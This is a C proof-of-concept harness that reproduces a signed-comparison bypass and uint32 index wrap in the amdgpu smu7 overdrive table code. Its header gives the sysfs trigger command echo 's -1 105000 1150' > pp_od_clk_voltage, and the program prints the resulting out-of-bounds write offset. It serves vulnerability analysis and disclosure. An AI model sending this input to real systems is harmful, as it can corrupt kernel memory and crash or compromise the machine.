/*
 * DF-3687 harness: signed-compare bypass + uint32_t wrap in
 * smu7_odn_edit_dpm_table (smu7_hwmgr.c:4854-4868) driven through the exact
 * sysfs parsing path amdgpu_set_pp_od_clk_voltage (amdgpu_pm.c:543-611):
 *   echo "s -1 105000 1150" > pp_od_clk_voltage
 * kstrtol("-1") -> long -1.  The bounds check
 *     input[i] >= podn_dpm_table_in_backend->num_of_pl
 * compares a signed 64-bit long against uint32_t num_of_pl (usual arithmetic
 * conversions -> SIGNED compare) so -1 passes.  The value is then stored in
 * `uint32_t input_level` -> 0xFFFFFFFF and used as an array index into
 * entries[8] of struct phm_odn_clock_levels (hardwaremanager.h:390-396).
 *
 * This harness reproduces the arithmetic (C semantics identical in userland
 * and kernel) and shows the resulting byte offset of the write.
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

struct phm_odn_performance_level {
	uint32_t clock;
	uint32_t vddc;
	uint8_t enabled;
};

struct phm_odn_clock_levels {
	uint32_t size;
	uint32_t options;
	uint32_t flags;
	uint32_t num_of_pl;
	struct phm_odn_performance_level entries[8];
};

/* kstrtol stand-in (same semantics for "-1", base 0) */
static long kstrtol_dash1(const char *s) { return strtol(s, NULL, 0); }

int main(void)
{
	struct phm_odn_clock_levels tbl = { .num_of_pl = 8 };
	long input[3];
	uint32_t input_clk, input_level;

	/* echo "s -1 105000 1150" > pp_od_clk_voltage */
	input[0] = kstrtol_dash1("-1");
	input[1] = kstrtol_dash1("105000");
	input[2] = kstrtol_dash1("1150");

	printf("parsed sysfs longs: level=%ld clk=%ld voltage=%ld\n",
	       input[0], input[1], input[2]);

	/* verbatim check from smu7_hwmgr.c:4855 (signed long vs uint32_t) */
	if (input[0] >= (long)tbl.num_of_pl && (uint32_t)input[0] >= tbl.num_of_pl) {
		printf("level rejected by bounds check\n");
		return 1;
	}
	printf("bounds check `input[i] >= num_of_pl` (long %ld vs u32 %u): PASSED "
	       "(signed compare, negative passes)\n", input[0], tbl.num_of_pl);

	/* verbatim truncation from smu7_hwmgr.c:4859 */
	input_level = input[0];
	input_clk = input[1] * 100;

	printf("uint32_t input_level = 0x%08x\n", input_level);
	printf("write offset = input_level * sizeof(phm_odn_performance_level) "
	       "= %u * %zu = %llu bytes past entries[0]\n",
	       input_level, sizeof(struct phm_odn_performance_level),
	       (unsigned long long)input_level * sizeof(struct phm_odn_performance_level));

	/* would-be sink (not executed; would fault at ~+48GB on any real map):
	 *   podn_dpm_table_in_backend->entries[input_level].clock = input_clk;
	 */
	printf("RESULT: WILD OOB WRITE CONFIRMED at the arithmetic level - any u32 "
	       "index is selectable via negative sysfs input (e.g. -1 -> +51,539,607,540)\n");
	return 0;
}
